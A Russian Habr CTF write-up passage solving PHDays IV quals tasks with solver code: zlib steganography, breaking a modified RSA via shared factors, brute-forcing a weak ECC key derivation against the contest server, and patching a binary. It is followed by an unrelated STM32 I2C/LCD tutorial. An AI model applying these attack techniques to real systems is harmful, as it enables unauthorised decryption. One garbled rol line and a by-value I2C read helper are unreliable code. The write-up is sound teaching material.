Как правило, если в условии задачи упоминается извлечение скрытого в некотором контейнере сообщения, используется одно из готовых решений из области стеганографии. При этом для отыскания ответа обычно нужно подобрать программу для дешифровки и запустить ее с правильными ключами. То есть «ключ к успеху» при решении конкретного задания лежит в поиске подходящего варианта, предварительно прописанного авторами.
В нашем случае все несколько иначе. Если открыть предложенный файл в текстовом редакторе, то он выглядит вот так:
В начале файла располагаются метаданные в формате ID3. Сначала идет тег TRCK (track number), а потом — какие-то куски текста:
**RGB7 5,183, NULL RGB6 0,42,159 RGB5 194,244,68 RGB4 47,77,6 RGB3 44,73,141 RGB2 140,207,72 RGB1 120,156,203**
Эту информацию можно разбить на семь записей (от RGB7 до RGB1):
**RGB7 5,183, NULL
RGB6 0,42,159
RGB5 194,244,68
RGB4 47,77,6
RGB3 44,73,141
RGB2 140,207,72
RGB1 120,156,203**
После каждого из RGB-идентификаторов стоит три значения. Обычно это числа, но в одном случае — NULL. Легко предположить, что это массив записей, каждая из которых содержит до трех однобайтовых значений. Можно записи отсортировать, объединить, превратить десятичные коды в символы и вывести в шестнадцатеричном виде, например, при помощи вот такой программы:
`>>> a = [120,156,203, 140,207,72, 44,73,141, 47,77,6, 194,244,68, 0,42,159, 5,183]`
`>>> print "".join(map(chr, a)).encode("hex")`
В результате получим:
`789ccb8ccf482c498d2f4d06c2f444002a9f05b7`
Шестнадцатеричная последовательность начинается с байтов с кодами 0x78 0x9С, а это подсказывает нам, что используется алгоритм сжатия данных zlib. Если использовать zlib в режиме компрессии с параметрами по умолчанию, выходная последовательность будет начинаться именно с этих байтов.
Одним вызовом функции decompress библиотеки zlib в Python можно распаковать упакованное сообщение:
```
>>> import zlib
>>> print zlib.decompress("".join(map(chr, a)))
```
И тогда будет выведен текст:
**i\_hate\_ucucuga**
Именно этот флаг нужно было отослать организаторам соревнований.
#### Неправильная криптография
Данное задание относится к категории Crypto. По легенде, был перехвачен [сеанс связи](http://ctfarchive.phdays.com/phd4quals/mars (2500)/mars.txt.9398d7aa954d2d38b4abb8ead791c93a), и командам нужно расшифровать переданные сообщения.
Прежде всего, ясно виден процесс обмена ключами и затем передача зашифрованных данных. Необходимо понять, на основании какого криптографического базиса можно построить подобное общение.
Задание называется mars, можно предположить, что это означает Modified RSA.
Каждый ключ состоит из двух частей, и вторая часть в обоих случаях равна 0x010001 == 65537 — часто используемая публичная экспонента RSA (e). Значит, в сеансе связи сначала идет обмен открытыми ключами (n1/e1, n2/e2), а затем обмен зашифрованными на них сообщениями (c1, c2).
Если это действительно что-то похожее на RSA, то ci = pow(mi, ei, ni). Требуется найти m1 и m2.
pow — функция модульного возведения в степень, pow(val, еxp, modulus) == valexp % modulus.
Согласно алгоритму RSA:
* mi = pow(ci, di, ni),
* di\*ei ≡ 1 mod φ(ni),
* ni — произведение нескольких простых чисел,
* φ(n) — функция Эйлера, количество натуральных чисел взаимно простых с n и меньших n.
В задании n1 и n2 имеют длину 1535 бит, то есть не поддаются факторизации (разложению на простые сомножители).
Воспользуемся реализацией расширенного алгоритма Евклида на Python:
```
def egcd(a, b): # Extended Greatest Common Divisor
if a == 0: return (b, 0, 1)
else:
g, y, x = egcd (b % a, a)
return (g, x - (b // a) * y, y)
```
Найдем НОД (наибольший общий делитель) чисел n1 и n2:
```
gcd = egcd(n1,n2)[0]
```
НОД(n1, n2) имеет длину 1024 бита. Найдем другие делители чисел n1 и n2:
```
p1 = n1 / gcd
p2 = n2 / gcd
```
p1 и p2 — простые числа длиной 512 бит, gcd — составное число длиной 1024 бита (скорее всего 512\*512), и оно также слишком велико для факторизации…
Рассмотрим случай, когда искомые сообщения mi могут быть представлены числами, не превосходящими pi.
Пусть ni = pi\*q\*r, тогда при 0 < mi < pi будет справедливо следующее выражение:
**pow(mi, ei, ni) % pi == pow(mi, ei, pi)**
Тогда экспонента для расшифрования d’i должна удовлетворять следующему выражению:
ei\*d’i ≡ 1 mod φ(pi)
Значение d’i может быть найдено путем вычисления алгебраического дополнения:
d’i = invmod(ei, φ(pi))
Для простого pi справедливо:
φ(pi) == pi-1,
Следовательно:
d’i = invmod(ei, pi-1)
Вычисление алгебраического дополнения реализуется следующей функцией на Python:
```
def invmod(a, m): # Modular inversion
g, x, y = egcd (a, m)
if g == 1: return x % m
raise Exception("modular inverse does not exist")
```
Также понадобится функция, которая превращает число в строчку и оставляет только текст от последнего символа ‘\0’ до конца строки:
```
def showX(v):
print ("%0256X" % v).decode("hex").split('\0')[-1]
```
Вычисляем di, выполняем расшифрование:
```
d1 = invmod(e, p1-1)
d2 = invmod(e, p2-1)
showX(pow(c1, d1, p1))
showX(pow(c2, d2, p2))
```
И получаем результат:
**REQUEST: GET\_FLAG (SIGNATURE: 5e2d5e0323591b1c).
RESPONSE: its\_n0t\_ab0ut\_p4dd1ng**
Флаг — строка «`its_n0t_ab0ut_p4dd1ng`».
#### Криптографическое задание secc
Дано: архив source.tar.gz, содержащий файлы ecc.py и task.py, в которых содержится [схема](http://ctfarchive.phdays.com/phd4quals/secc (3500)/source.tar.gz.d69d625930c28eab0ef53dfc5826ab8103269e59) верификации ключа, реализованная с помощью эллиптической криптографии. Известно, что подключившись по адресу 195.133.87.171 на порт 5555, можно установить соединение с каким-то сервером:
`nc 195.133.87.171 5555`
`password: secch4l*`
Поскольку даны исходники, то стоит начать с их анализа. Можно их даже запустить.
Так как у меня не было модуля libnum, пришлось написать его самому. В нем достаточно реализовать уже упомянутую ранее функцию модульной инверсии и используемый ею расширенный алгоритма Евклида:
```
def egcd(a, b): # Extended Greatest Common Divisor
if a == 0: return (b, 0, 1)
else:
g, y, x = egcd (b % a, a)
return (g, x - (b // a) * y, y)
def invmod(a, m): # Modular inversion
g, x, y = egcd (a % m, m)
if g != 1: raise Exception("modular inverse does not exist")
else: return x % m
```
Итак, функция `main` из `task.py`:
```
def main():
print "Auth:“
auth = raw_input()
if hashlib.sha1(auth).hexdigest() !=
"375d5c01ca1b8c3863024d10aac7713472eb5033": # secch4l*
print "nope“
return
prefix = os.urandom(8)
print "Proof of work, please“
print "Prefix is (hexed) ", prefix.encode("hex")
test = raw_input().decode("hex")
if not test.startswith(prefix) or len(test) > 16:
print "nope“
return
h = hashlib.sha1(test).hexdigest()
if not h.startswith("000000"):
print "nope“
return
goflag()
```
Читается строка, SHA-1 от которой должно быть равно заданному значению («secch4l\*»).
Потом генерируется случайный 8-байтовый префикс, отправляемый клиенту. Байты кодируются как hex-строка. В ответ клиент должен прислать строку не длиннее 16 байт, при этом чтобы она начиналась с заданного префикса, а первые 3 байт значения SHA-1 от этой строки должны быть нулевыми. Если все этапы пройдены успешно — вызывается функция goflag().
Следующий фрагмент кода соединяется с сервером, отправляет пароль, получает префикс, вычисляет и отправляет ответ:
```
def readLn(sock):
a = []
while True:
c = sock.recv(1)
if '\n' == c: return "".join(a)
a.append(c)
HOST = "195.133.87.171"
PORT = 5555
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((HOST, PORT))
print readLn(sock) # Auth:
sock.send("secch4l*\n")
print readLn(sock) # Proof of work, please
s = readLn(sock)
print s # Prefix is (hexed) 0b3997e62b9ffbf4
prefix = s.split()[-1].decode("hex")
for i in xrange(0x7FFFFFFF):
s = "%s%X" % (prefix, i)
if hashlib.sha1(s).digest()[:3] == '\0\0\0': break
sock.send(s + '\n')
```
После выполнения этого кода на стороне клиента сервер выполняет функцию goflag(), выводящей примерно следующий текст:
**EC PASSWORD CHECK
R = 572115218124168948525078362547166172445820217705568707355669424304224832114
SHARED SECRET = R ^ PASSWORD
ENCRYPTED MESSAGE: 7a93846a011e0d0382e94f32d705239e6298169dcec20da5d6**
Что же происходит в функции `goflag` из `task.py`:
```
def goflag():
print "EC PASSWORD CHECK"
r = random.randint(31337, 1 << 250)
R = p256.power(G, r)
print "R =", R
print "SHARED SECRET = R ^ PASSWORD"
S = p256.power(R, PASSWORD)
key = p256.derive(S)
cipher = encrypt(FLAG, key)
print "ENCRYPTED MESSAGE:", cipher.encode("hex")
```
Используется асимметричная криптография на эллиптических кривых. Выбрана кривая P-256, рекомендованная NIST. Реализация операций над точками кривой не содержит очевидных уязвимостей.
Мы знаем значение R, но без знания значения PASSWORD (которое читается сервером из файла password.txt) мы не можем вычислить S. Знание S позволило бы нам легко вычислить key. Так может быть шифрование реализовано с ошибкой?
Функция `encrypt` из `task.py`:
```
def encrypt(msg, key):
iv = os.urandom(8)
stream = hashlib.sha256(iv + key).digest()
stream = hashlib.sha256(stream + iv + key).digest()
cipher = iv + xor(msg, stream)
return cipher
```
По коду видно, что зашифрованному сообщению предшествует случайный 8-байтовый вектор инициализации iv, а шифрование выполняется как XOR флага c гаммой, сгенерированной как выход двух вычислений SHA-256. Без знания значения key получить гамму нереально. Но как key получается в программе?
Функция derive из task.py:
```
def derive(self, p):
return hashlib.sha256(str((p[0] << 10) / p[1])).digest()
```
Оказывается, значение точки S (состоящее из двух координат — x и y) используется как вход SHA-256. Фактически на вход хеша подается значение str(int(x\*1024/y)). Так как x и y имеют близкие значения (это большие целые числа), то результат арифметических действий должен близок к 1024 (хотя может и превышать его в разы).
Таким образом, из-за особенностей реализации функции derive, значение key может принимать совсем небольшое количество состояний. Можно просто перебрать их все, попытаться на каждом ключе расшифровать сообщение, и если оно состоит только из печатных символов — мы достигли успеха.
```
import hashlib, ecc
enc = "7a93846a011e0d0382e94f32d705239e6298169dcec20da5d6".decode("hex")
iv = enc[:8]
def decrypt(key):
stream = hashlib.sha256(iv + key).digest()
stream = hashlib.sha256(stream + iv + key).digest()
return ecc.xor(enc[8:], stream)
for i in xrange(0x7FFFFFFF):
s = decrypt(hashlib.sha256(str(i)).digest())
for c in bytearray(s):
if c < 32 or c >= 128: break
else:
print s # ecc_is_too_s3cure
break
```
Таким образом, флагом является строчка «ecc\_is\_too\_s3cure».
#### Реверс-инжиниринг. Shadelt900
Обратная разработка — еще одна популярная категория заданий. Помимо CTF, в конкурсной программе PHDays присутствует конкурс Best Reverser.
Задание Shadelt900, так же как и три предыдущих, было частью программы PHDays IV CTF Quals, прошедших в январе 2014 года. Команды должны были расшифровать изображение под названием 'derrorim\_enc.bmp'. Было известно средство, примененное для его зашифрования, — оно как раз и называется Shadelt9000.exe, но декриптор обнаружить не удалось. Вот это изображение:
При ближайшем рассмотрении файла Shadelt9000.exe становится ясно, что приложение использует OpenGL. Также есть копирайт inflate 1.2.8 Copyright 1995-2013 Mark Adler, указывающий на то, что в программе используется популярная библиотека компрессии zlib.
Если в дизассемблере посмотреть, откуда идут обращения к функциям zlib, можно довольно быстро найти вот такой кусок кода:
По адресам 0x47F660 и 0x47F7B8 расположены массивы данных, упакованные zlib. Распакуем их:
```
from zlib import decompress as unZ
base = 0x47C000 - 0x7AE00 # data section base
ab=open("ShadeIt9000.exe", "rb").read()
open("1.txt", "w").write(unZ(ab[0x47F660-base:],-15))
open("2.txt", "w").write(unZ(ab[0x47F7B8-base:],-15))
```
После распаковки файл 1.txt содержит пиксельный шейдер:
```
#version 330
uniform sampler2D u_texture;
uniform sampler2D u_gamma;
varying vec4 texCoord0;
varying vec3 v_param;
uint func(vec3 co){
return uint(fract(sin(dot(co ,vec3(17.1684, 94.3498, 124.9547))) * 68431.4621) * 255.);
}
uvec3 rol(uvec3 value, int shift) {
return (value << shift) | (value >> (8 - shift));
}
const uvec3 m = uvec3(0xff);
void main()
{
uvec3 t = uvec3(texture2D(u_texture, vec2(texCoord0)).rgb * 0xff) & m;
uvec3 g = uvec3(texture2D(u_gamma, vec2(texCoord0)).rgb * 0xff) & m;
int s = int(mod(func(v_param), 8));
t = rol(t, s);
vec3 c = vec3((t ^ g) & m) / 0xff;
gl_FragColor = vec4(c, 1.);
}
```
Файл 2.txt содержит вершинный шейдер:
```
attribute vec3 a_param;
varying vec4 texCoord0;
varying vec3 v_param;
void main(void)
{
gl_Position = gl_ModelViewProjectionMatrix * gl_Vertex;
texCoord0 = gl_MultiTexCoord0;
v_param = a_param;
}
```
Главная информация о пиксельном шейдере выделена красным:
В переменной t оказывается текущий элемент обрабатываемой текстуры (входного файла),
а в переменной g — текущий элемент гаммы (сгенерированной псевдослучайным образом).
В переменной s мы видим некоторое значение, используемое позже для циклического сдвига s.
Выходное значение фактически вычисляется как
`(rol(t,s) ^ g)`
Причем если запускать программу несколько раз с одним и тем же входным файлом, то для каждого элемента значение g будет меняться от запуска к запуску, а t и s будут оставаться одними и теми же.
Найдем, как генерируется гамма:
```
unsigned char *pbGamma = malloc(cbGamma);
srand(time(0));
for (i = 0; i < cbGamma; i++) {
pbGamma[i] = rand();
}
```
Видно, что она зависит от текущего времени.
Из исходного архива можно узнать, что файл derrorim\_enc.bmp создан 21.01.2014 в 18:37:52.
Получаем значение, которое в тот момент вернула бы функция time():
```
>>> import time
>>> print hex(int(time.mktime((2014,1,21, 18,37,52, 0,0,0))))
```
**0x52de8640**
Теперь копируем файл ShadeIt9000.exe в ShadeIt9000\_f.exe и исправляем его.
По смещению 00015557 надо байты
`E8 A5 31 01 00`
заменить на
`B8 40 86 DE 52`
Это эквивалентно замене
`call _time` на `mov eax,52de8640h`.
Таким образом мы получили версию ShadeIt9000\_f, которая будет всегда шифровать с той же гаммой, какая была в момент зашифрования интересующего нас файла.
Теперь нужно подготовить значения, которые помогут расшифровать изображение:
```
import os
bmp=open("derrorim_enc.bmp", "rb").read()
hdr = bmp[:0x36]
abData = bytearray(bmp[0x36:])
cbBody = len(bmp) - len(hdr)
open("00.bmp", "wb").write(hdr + '\0'*cbBody)
open("XX.bmp", "wb").write(hdr + '\2'*cbBody)
os.system("ShadeIt9000_f.exe 00.bmp")
os.system("ShadeIt9000_f.exe XX.bmp")
```
В файле 00\_enc.bmp окажется результат зашифрования картинки, состоящий из нулевых байтов. Это и будет гамма в чистом виде.
В файле XX\_enc.bmp окажется результат зашифрования картинки, состоящий из байтов со значением 2. Это поможет нам узнать, на сколько битов циклически сдвигался каждый байт.
Наконец, расшифровыванием Shadelt9000:
```
def rol(v,i): return (((v<>(8-i)) & 0xFF))
def ror(v,i): return (((v>>i) & 0xFF) | ((v<<(8-i)) & 0xFF))
dRot = {rol(1,i):i for i in xrange(8)}
bmp=open("derrorim\_enc.bmp", "rb").read()
hdr = bmp[:0x36]
abData = bytearray(bmp[0x36:])
abGamma = bytearray(open("00\_enc.bmp", "rb").read()[0x36:])
abRot = bytearray(open("XX\_enc.bmp", "rb").read()[0x36:])
for i,b in enumerate(abGamma): abRot[i] = dRot[abRot[i] ^ b]
for i,b in enumerate(abGamma): abData[i] = ror(abData[i] ^ b, abRot[i])
open("derrorim.bmp", "wb").write(hdr + str(abData))
```
получаем:
Выше был описан верный, но не самый эффективный путь решения задания. Есть способ короче.
Сразу за вершинным шейдером по адресам 0x47F848 и 0x47F9A0 лежит упакованный zlib-код пиксельного и вершинного шейдера для выполнения обратного преобразования. Возможно, он был случайно забыт разработчиком задания. А может и оставлен намеренно.
Коды вершинного шейдера для зашифрования и расшифрования идентичны, так что трогать их не имеет смысла. А что будет, если подменить пиксельный шейдер?
Копируем ShadeIt9000\_f.exe в ShadeIt9000\_d.exe и исправляем его:
`00015775: 60 F6 ==> 48 F8`
Затем запускаем ShadeIt9000\_d.exe derrorim\_enc.bmp. И получаем на выходе расшифрованный файл derrorim\_enc\_enc.bmp, который (за исключением мелких артефактов) совпадает с тем, который мы расшифровали скриптом на Python.
На сегодня все! Всем спасибо за внимание, будем рады ответить на вопросы в комментариях.
Напоминаем, что финал PHDays IV CTF состоится 21 и 22 мая во время проведения форума Positive Hack Days. Следить за ходом соревнований можно будет не только непосредственно на площадке, но и с помощью мобильных приложений. Следите за [новостями](http://www.phdays.ru/ctf/)!
**Читайте также:**
* [PHDays III CTF: взгляд изнутри (часть 1)](http://habrahabr.ru/company/pt/blog/186310/)
* [PHDays III CTF: взгляд изнутри (часть 2)](http://habrahabr.ru/company/pt/blog/186800/)
Напоминаем, что уже началась регистрация для участия в онлайн-конкурсах [HashRunner](http://hashrunner.phdays.com/) и «[Конкурентная разведка](http://www.phdays.ru/registration/)» на PHDays IV!
P. S. Архив всех заданий PHDays CTF и CTF Quals можно найти [на сайте PHDays](http://ctfarchive.phdays.com/phd4quals/). Так что, если есть желание испытать себя — вперед!
P. P. S. Подробный разбор представленных в топике заданий проходил на специальном вебинаре, ведущим которого был Дмитрий Скляров. Запись вебинара доступна по ссылке: [http://my.webinar.ru/record/290241/](http://my.webinar.ru/record/290241/.). | https://habr.com/ru/post/221991/ | null | ru | null |
# Первые шаги с STM32 и компилятором mikroC для ARM архитектуры — Часть 4 — I2C, pcf8574 и подключение LCD на базе HD4478
Следующую статью я хочу посвятить работе с распространенным интерфейсом i2c, достаточно часто используемом в разнообразных микросхемах, подключаемых к микроконтроллеру.
I2C представляет собой шину работающую по двум физическим соединениям (помимо общего провода). Достаточно много о ней расписано в Интернете, неплохие статьи есть в [Википедии](https://ru.wikipedia.org/wiki/I%C2%B2C). Кроме того алгоритм работы шины очень понятно описан [здесь](http://easyelectronics.ru/interface-bus-iic-i2c.html). В вкратце, шина представят собой двухпроводную синхронную шину. На шине может одновременно находится до 127 устройств (адрес устройства 7-битный, к этому вернемся далее). Ниже приведена типичная схема подключения устройств к i2c шине, с МК в качестве ведущего устройства.
Для i2c все устройства (как мастер так и слейвы) используют open-drain выходы. Проще говоря они могут притягивать шину ТОЛЬКО К ЗЕМЛЕ. Высокий уровень ша шине обеспечивается подтягивающими резисторами. Номинал этих резисторов обычно выбирается в диапазоне от 4,7 до 10 кОм. i2c достаточна чувствительна к физическим линиям, соединяющим устройства, поэто если используется соединение с большой емкостью (например длинный тонкий или экранированный кабель), влияние этой емкости может «размыть» фронты сигналов и помешать нормальной работе шины. Чем меньше подтягивающий резистор, тем меньше влияет эта емкость на характеристику фронтов сигнала, но ТЕМ БОЛЬШЕ НАГРУЗКА на выходные транзисторы на интерфейсах i2c. Значение этих резисторов подбирается для каждой конкретной реализации, но они не должны быть меньше 2,2 кОмов, иначе можно просто спалить выходные транзисторы в устройствах, работающих с шиной.
Шина состоит из двух линий: SDA (линии данных) и SCL (тактирующего сигнала). **Тактирует шину Мастер устройство**, обычно наш МК. Когда на SCL высокий уровень информация считывается с шины данных. **Изменять состояние SDA можно только при низком уровне тактирующего сигнала**. При высоком уровне SCL сигнал на SDAизменяется при формировании сигналов **START** (при высоком уровне SCL сигнал на SDA изменяется высокого на низкий) и **STOP** — при высоком уровне SCL сигнал на SDA изменяется с низкого на высокий).
Отдельно следует сказать, что в i2c адрес задается 7-битным числом. 8 — младший бит указывает направление передачи данных 0 — означает что слейв будет передавать данные, 1 — принимать.. Вкратце алгоритм работы с i2c такой:
* **Высокий уроень на SDA и SCL** — шина свободна, можно начинать работу
* Мастер поднимает **SCL** в 1, и изменяет состояние **SDA** c 1 на 0 — притягивает его к земле — формируется сигнал **START**
* Мастер передает 7-битный адрес слейва с битом направления (данные на **SDA** выставляются когда **SCL** притянут к земле, и читаются слейвом когда он отпущен). Если слейв не успевает «схавать» предыдущий бит, он притягивает **SCL** к земле, давая понять мастеру что состаяние шинны данных не нужно менять: «еще читаю предыдущий». После того как мастер отпустил шину он проверяет, отпустил ли ее слейв.
* После передачи 8 бит адреса мастер генерирует 9-й такт и отпускает шину данных. Если слейв услышал и свой адрес и принял его то он прижмет **SDA** к земле. Так формируется сигнал **ASK** — принял, все ОК. Если слейв ничего не понял, или его просто там нет то некому будет прижать шину. мастер подождет таймаут и поймет что его не поняли.
* После передачи адреса, если у нас выставлено направление от мастера к слейву (8 бит адреса равен 1), то мастер передает данные в слейв, не забывая после передачи каждого байта проверять наличие **ASK** от слейва, ожидая обработки поступившей информации ведомым устройством.
* При приеме мастером данных от слейва, мастер сам формирует сигнал **ASK** после приема каждого байта, а слейв контролирует его наличие. Мастер может специально не послать **ASK** перед отправкой команды **STOP**, обычно, так давая понять ведомому, что больше предавать данные не нужно.
* Если после отправки данных мастером (режим записи) необходимо прочитать данные со слейва, то мастер формирует снова сигнал **START**, отправляя адрес слейва с флагом чтения. (еcли перед командой **START** не был передан **STOP** то формируется команда **RESTART**). Это используется для смены направления общения мастре-слейв. Например мы передаем слейву адрес регистра, а потом читаем из него данные.)
* По окончанию работы со слейвом мастер формирует сигнал **STOP** — при высоком уровне тактирующего сигнала формирует переход шины данных с 0 в 1.
В STM 32 есть аппаратно реализованные приемопередатчики i2c шины. Таких модулей в МК может быть 2 или 3. Для их конфигурации используются специальные регистры, описанные в референсе к используемому МК.
В MicroC перед использованием i2c (как впрочем и любой периферии) ее необходимо должным образом проинициализировать. Для этого используем такую функцию (Иннициализация в качестве мастера):
```
I2Cn_Init_Advanced(unsigned long : I2C_ClockSpeed, const Module_Struct *module);
```
* **n** — номер используемого модуля, например *I2C1* или *I2C2*.
* **I2C\_ClockSpeed** — скорость работы шины, 100000 (100 kbs, стандартный режим) или 400000 (400 kbs, быстрый режим). Второй в 4 раза быстрее, но его поддерживают не все устройства
* **\*module** — указатель на периферийный модуль, например *&\_GPIO\_MODULE\_I2C1\_PB67*, здесь не забываем что **Code Assistant** (***ctrl-пробел***) очень помогает.
Для начала проверим свободность шины, для этого существует функция **I2Cn\_Is\_Idle();** возвращающая 1 если шина свободна, и 0 если по ней идет обмен.
Далее сформируем сигнал **START**, для чего используем:
```
I2Cn_Start();
```
где **n** — номер используемого модуля i2c нашего микроконтроллера. Функция вернет 0 если на шине возникла ошибка и 1 если все ОК.
Для того чтоб передать данные слейву используем функцию:
```
I2Cn_Write(unsigned char slave_address, unsigned char *buf, unsigned long count, unsigned long END_mode);
```
* **n** — номер используемого модуля
* **slave\_address** — 7-битный адрес слейва.
* **\*buf** — указатель на наши данные — байт или массив байтов.
* **count** — количество передаваемых байт данных.
* **END\_mode** — что делать после передачи данных слейву, **END\_MODE\_STOP** — передать сигнал **STOP**, либо **END\_MODE\_RESTART** снова отправить **START**, сформировав сигнал **RESTART** и дав понять ведомству, что сеанс работы с ним не окончен и с него сейчас будут читать данные.
Для чтения данных со слейва используется функция:
```
I2Cn_Read(char slave_address, char *ptrdata, unsigned long count, unsigned long END_mode);
```
* **n** — номер используемого модуля
* **slave\_address** — 7-битный адрес слейва.
* **\*buf** — указатель на переменную или массив в который мы принимаем данные, тип char или short int
* **count** — количество принимаемых байт данных.
* **END\_mode** — что делать после приема данных от слейва **— END\_MODE\_STOP** — передать сигнал **STOP**, либо **END\_MODE\_RESTART** отправить сигнал **RESTART**.
Давайте попробуем что-то подключить к нашему МК. Для начала: распостраненную микросхему [PCF8574(A)](http://www.ti.com/lit/ds/symlink/pcf8574.pdf) представляющего собой расширитель портов ввода вывода с управлением по шине i2c. Данная микросхема содержит всего один внутренний регистр, являющийся ее физическим портом ввода-вывода. Тоесть если ей передать байт, он тут-же выставится на ее выводы. Если считать с нее байт (Передать **START** адрес с флагом чтения, сигнал **RESTERT,** прочитать данные и в конце сформировать сигнал **STOP**) то он отразит логические состояния на ее выводах. Подключим нашу микросхему в соответствии с даташитом:
Адрес микросхемы формируется из состояния выводов **A0, А1, А2**. Для микросхемы **PCF8574** адрес будет: **0100A0A1A2**. (Например у нас A0, А1, А2 имеют высокий уровень, соответственно адрес нашей микросхемы будет 0b0100**111** = 0x27). Для **PCF8574A** — **0111A0A1A2**, что с нашей схемой подключения даст адрес 0b0111**111** = **0x3F**. Если, допустим A2 соединить с землей, то адрес для **PCF8574A** будет **0x3B**. Итого на одну шину i2c можно одновременно повесить 16 микросхем, по 8 PCF8574A и PCF8574.
Давайте попробуем что-то передать иннициализировать i2c шину и что-то передать нашей PCF8574.
```
#define PCF8574A_ADDR 0x3F //Адреc нашей PCF8574
void I2C_PCF8574_WriteReg(unsigned char wData)
{
I2C1_Start(); // Формируем сигнал START
I2C1_Write(PCF8574A_ADDR,&wData, 1, END_MODE_STOP); // Передаем 1 байт данных и формируем сигнал STOP
}
char PCF8574A_reg; // переменная которую мы пишем в PCF8574
void main ()
{
I2C1_Init_Advanced(400000, &_GPIO_MODULE_I2C1_PB67); // Запускаем I2C
delay_ms(25); // Немного подождем
PCF8574A_reg.b0 = 0; //зажжем первый светодиод
PCF8574A_reg.b1 = 1; // погасим второй светодиод
while (1)
{
delay_ms(500);
PCF8574A_reg.b0 = ~PCF8574A_reg.b0;
PCF8574A_reg.b1 = ~PCF8574A_reg.b1; //инвертируем состояние светодиодов
I2C_PCF8574_WriteReg (PCF8574A_reg); //передадим нашей PCF8574 данные
}
}
```
Компилируем и запускаем нашу программу и видим что наши светодиоды попеременно моргают.
Я не просто так подключил светодиоды катодом к нашей PCF8574. Все дело в том, что микросхема при подачи на выход логического 0 честно притягивает свой вывод к земле, а вот при подаче логической 1 подключает его к + питания через источник тока в 100 мкА. Тоесть «честной» логической 1 на выходе не получить. И светодиод от 100 мкА не зажечь. Сделано это для того, чтобы без дополнительных регистров настраивать вывод PCF8574 на вход. Мы просто пишем в выходной регистр 1 (фактически устанавливаем состояния ножки в Vdd) и можем просто коротить его на землю. Источник тока не даст «сгореть» выходному каскаду нашего расширителя ввода/вывода. Если ножка притянута к земле, то на ней потенциал земли, и читается логический 0. Если ножка притянута к +, то читается логическая 1. С одной стороны просто, но с другой, про это всегда нужно помнить, работая с данными микросхемами.
Давайте попробуем прочитать состояние выводов нашей микросхемы-расширителя.
```
#define PCF8574A_ADDR 0x3F //Адреc нашей PCF8574
void I2C_PCF8574_WriteReg(unsigned char wData)
{
I2C1_Start(); // Формируем сигнал START
I2C1_Write(PCF8574A_ADDR, &wData, 1, END_MODE_STOP); // Передаем 1 байт данных и формируем сигнал STOP
}
void I2C_PCF8574_ReadReg(unsigned char rData)
{
I2C1_Start(); // Формируем сигнал START
I2C1_Read(PCF8574A_ADDR, &rData, 1, END_MODE_STOP); // Читаем 1 байт данных и формируем сигнал STOP
}
char PCF8574A_reg; //переменная которую мы пишем в PCF8574
char PCF8574A_out; // переменная в которую мы читаем и PCF8574
char lad_state; //включен либо выключен наш светодиод
void main ()
{
I2C1_Init_Advanced(400000, &_GPIO_MODULE_I2C1_PB67); // Запускаем I2C
delay_ms(25); // Немного подождем
PCF8574A_reg.b0 = 0; // зажжем первый светодиод
PCF8574A_reg.b1 = 1; // погасим второй светодиод
PCF8574A_reg.b6 = 1; // Притяним выводы 6 и 7 к питанию.
PCF8574A_reg.b7 = 1;
while (1)
{
delay_ms(100);
I2C_PCF8574_WriteReg (PCF8574A_reg); // пишем данные в РCF8574
I2C_PCF8574_ReadReg (PCF8574A_out); // читаем из РCF8574
if (~PCF8574A_out.b6) PCF8574A_reg.b0 = ~PCF8574A_reg.b0; // Если нажата 1 кнопка (6 бит прочитанного байта из РCF8574 равен 0, то включим/выключим наш светодиод)
if (~PCF8574A_out.b7) PCF8574A_reg.b1 = ~PCF8574A_reg.b1; // аналогично для 2 кнопки и 2 светодиода
}
}
```
Теперь нажимая на кнопочки мы включаем или отключаем наш светодиод. У микросхемы есть еще вывод **INT**. На нем формируется импульс каждый раз, когда меняется состояние выводов нашего расширителя ввода/вывода. Подключив его в входу внешнего прерывания нашего МК (как настроить внешние прерывания и как с ними работать я расскажу в одной из следующих статей).
Давайте используя наш расширитель портов подключим через него символьный дисплей. Таких существует великое множество, но практически все они построены на базе чипа-контроллера **HD44780** и его клонов. Например я использовал дисплей LCD2004.
Даташит на [него](https://www.beta-estore.com/download/rk/RK-10290_410.pdf) и контроллер [HD44780](https://www.sparkfun.com/datasheets/LCD/HD44780.pdf) можно с легкостью найти в Интернете. Подключим наш дисплей к РCF8574, а ее, соответственно к нашему STM32.
**HD44780** использует параллельный стробируемый интерфейс. Данные передаются по 8 (за один такт) либо 4 (за 2 такта) стробирующего импульса на выводе **E**. (читаются контроллером дисплея по нисходящему фронту, переходу с 1 в 0). Вывод **RS** указывает передаем ли мы нашему дисплею данные (**RS = 1**) (символы которые он должен отобразить, фактически из ASCII коды) либо команды (**RS = 0**). **RW** указывает направление передачи данных, запись либо чтение. Обычно мы пишем данные в дисплей, поэтому (**RW = 0**). Резистор R6 управляет контрастностью дисплея. *Просто подключать вход регулировке контрастности к земле или питанию нельзя, иначе ничего не увидите.*. VT1 служит для включения и выключения подсветки дисплея по командам МК. В MicroC есть библиотека для работе с такими дисплеями по параллельному интерфейсу, но обычно, тратить на дисплей 8 ног накладно, поэтому я практически всегда использую РCF8574 для работы с такими экранчиками. (Если кому-то будет интересно, то напишу статью про работу с дисплеями на базе HD44780 встроенными в MicroC по параллельному интерфейсу.) Протокол обмена не особо сложный (мы будем использовать 4 линии данных и передавать информацию за 2 такта), его наглядно показывает следующая временная диаграмма:
Перед передачей данных на наш дисплей его надо проинициаллизировать, передав служебные команды. (описаны в даташите, здесь приведем только самые используемые)
* **0x28** — связь с индикатором по 4 линиям
* **0x0C** — включаем вывод изображения, отключаем отображение курсора
* **0x0E** — включаем вывод изображения, включаем отображение курсора
* **0x01** — очищаем индикатор
* **0x08** — отключаем вывод изображения
* **0x06** — после вывода символа курсор сдвигается на 1 знакоместо
Так как нам будет нужно достаточно часто работать с данным индикатором то создадим подключаемую библиотеку ***«i2c\_lcd.h»***. Для этого в **Project Maneger** клацнем правой кнопкой по папке ***Header Files*** и выберем ***Add New File***. Создадим наш заголовочный файл.
```
#define PCF8574A_ADDR 0x3F //Адреc нашей PCF8574
#define DB4 b4 // Соответствие выводов PCF8574 и индикатора
#define DB5 b5
#define DB6 b6
#define DB7 b7
#define EN b3
#define RW b2
#define RS b1
#define BL b0 //управление подсветкой
#define displenth 20 // количество символов в строке нашего дисплея
static unsigned char BL_status; // переменная хранящая состояние подсветки (вкл/выкл)
void lcd_I2C_Init(void);
// Функция иннициализации дисплея и PCF8574
void lcd_I2C_txt(char *pnt);
// Выводит на экран строку текста, параметр - указатель на эту строку
void lcd_I2C_int(int pnt);
